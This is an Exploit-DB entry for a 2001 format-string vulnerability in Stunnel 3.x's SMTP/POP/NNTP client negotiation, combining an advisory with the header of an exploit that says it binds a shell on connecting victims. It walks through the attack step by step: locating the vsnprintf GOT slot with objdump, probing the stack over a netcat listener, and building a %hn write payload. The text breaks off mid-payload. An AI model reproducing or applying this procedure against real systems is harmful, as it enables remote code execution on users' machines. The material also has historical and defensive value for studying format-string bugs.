Exploit-DB #21192
Description: STunnel 3.x - Client Negotiation Protocol Format String
Type: remote
Platform: linux
Date: 2001-12-22
Author: deltha

Exploit:
// source: https://www.securityfocus.com/bid/3748/info

Stunnel is a freely available, open source cryptography wrapper. It is designed to wrap arbitrary protocols that may or may not support cryptography. It is maintained by the Stunnel project.

Stunnel does not properly handle unexpected input by users. When a protocol is initiated between a client and the server, it is possible to supply a format string to the Stunnel server that may result in the execution of arbitrary code. 

/*
 * Stunnel < 3.22 remote exploit
 * by ^sq/w00nf - deltha [at] analog.ro
 * Contact: deltha@analog.ro
 * Webpage: http://www.w00nf.org/^sq/
 *
 * ey ./w00nf-stunnel contribs - kewlthanx :
 * nesectio, wsxz, soletario, spacewalker, robin, luckyboy, hash, nobody, ac1d, and not @ the end: bajkero
 *
 * You also need netcat and format strings build utility (from my webpage)
 * Compile: gcc -w -o w00nf-stunnel w00nf-stunnel.c
 *
 *   .   .  .. ......................................... ...
 *  .                         ____  ____        _____        :.:.:
 *  :               _      __/ __ \/ __ \____  / __/           :..
 *  :..            | | /| / / / / / / / / __ \/ /_               :
 *  ..:..          | |/ |/ / /_/ / /_/ / / / / __/               :
 *  :.: :..        |__/|__/\____/\____/_/ /_/_/                  .
 *  : :   :..
 *  :.: :............................................... ..  .   . 
 *                           T . E . A . M      
 * 
 * POC - Tested remotely on linux 
 * Stunnel is a program that allows you to encrypt arbitrary TCP connections inside SSL 
 * Visit http://www.stunnel.org for details
 *
 * I didn't add a search function or bruteforce attack because the vulnerability does'nt allow you
 * to grab the remote stack.
 *
 * Description of this exploit:
 * This exploit puts a payload on a specified port. When a remote user connects to your machine 
 * using stunnel on the specified port, the exploit executes this payload and binds a shell to the
 * remote users machine on port 5074.
 * 
 * Summary: 
 * Malicious servers could potentially run code as the owner of an Stunnel process when using 
 * Stunnel's protocol negotiation feature in client mode. 
 *
 * Description of vulnerability: 
 * Stunnel is an SSL wrapper able to act as an SSL client or server, 
 * enabling non-SSL aware applications and servers to utilize SSL encryption. 
 * In addition, Stunnel has the ability to perform as simple SSL encryption/decryption 
 * engine. Stunnel can negotiate SSL with several other protocols, such as 
 * SMTP's "STARTTLS" option, using the '-n protocolname' flag. Doing so 
 * requires that Stunnel watches the initial protocol handshake before 
 * beginning the SSL session. 
 * There are format string bugs in each of the smtp, pop, and nntp 
 * client negotiations as supplied with Stunnel versions 3.3 up to 3.21c. 
 *
 * No exploit is currently known, but the bugs are most likely exploitable. 
 * 
 * Impact: 
 * If you use Stunnel with the '-n smtp', '-n pop', '-n nntp' options 
 * in client mode ('-c'), a malicous server could abuse the format 
 * string bug to run arbitrary code as the owner of the Stunnel 
 * process. The user that runs Stunnel depends on how you start 
 * Stunnel. It may or may not be root -- you will need to check 
 * how you invoke Stunnel to be sure. 
 * There is no vulnerability unless you are invoking Stunnel with 
 * the '-n smtp', '-n pop', or '-n nntp' options in client mode. 
 * There are no format string bugs in Stunnel when it is running as an SSL 
 * server. 
 *
 * Mitigating factors: 
 * If you start Stunnel as root but have it change userid to some other 
 * user using the '-s username' option, the Stunnel process will be 
 * running as 'username' instead of root when this bug is triggered. 
 * If this is the case, the attacker can still trick your Stunnel process 
 * into running code as 'username', but not as root. 
 * Where possible, we suggest running Stunnel as a non-root user, either 
 * using the '-s' option or starting it as a non-privileged user. 
 *
 * Triggering this vulnerability - example for kidz:
 * Obtain a shell account on to-be-hacked's server and perform the following commands:
 * sq@cal013102: whereis stunnel
 * stunnel: /usr/sbin/stunnel
 * change directory to where is stunnel
 * Obtain vsnprintf's R_386_JUMP_SLOT:
 * sq@cal013102:~/stunnel-3.20$ /usr/bin/objdump --dynamic-reloc ./stunnel |grep printf
 * 08053470 R_386_JUMP_SLOT   fprintf
 * ---->080534a8 R_386_JUMP_SLOT   vsnprintf
 * 080535a4 R_386_JUMP_SLOT   snprintf
 * 08053620 R_386_JUMP_SLOT   sprintf
 * open 2 terminals
 * in the first terminal make netcat connect to a port (eg 252525)
 * sq@cal013102:~/stunnel-3.20$ nc -p 252525 -l 
 * in the second terminal (remote) simulate attack 
 * ./stunnel -c -n smtp -r localhost:252525
 * in the first terminal with nc insert a specially crafted string to grep eatstack value
 * AAAABBBB%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|
 * in the second terminal (remote) it will return the stack values and see at which position 
 * 41414141 and 424242 appeared
 * AAAABBBB|bffff868|bffffb60|bffffece|bffffed3|80503ae|40275580|4016bfc4|
 * 4027f3c4|41414141|42424242|257c7825|78257c78|7c78257c|
 * 257c7825|78257c78|7c78257c| ->414141=9 and 424242=10
 * try again with to see if eatstack value is 9 AAAABBBB%9$x%10$x and it will return AAAABBBB[PII_REDACTED]424242
 * put the address obtained with objdump in hex little endian format \xa8\x34\x05\x08 and last value +2 \xaa\x34\x05\x08
 * (a8+2=aa) and generate the decimal value of format string after you got the middle of nops value on stack 0xbffff89b
 * with build, a program attached to this exploit.
 * ./build 080534a8 0xbffff89b 9
 * adr : 134558888 (80534a8)
 * val : [PII_REDACTED] (bffff89b)
 * valh: 49151 (bfff)
 * vall: 63643 (f89b)
 * [��%.49143x%9$hn%.14492x%10$hn] (35)
 * ��%.49143x%9$hn%.144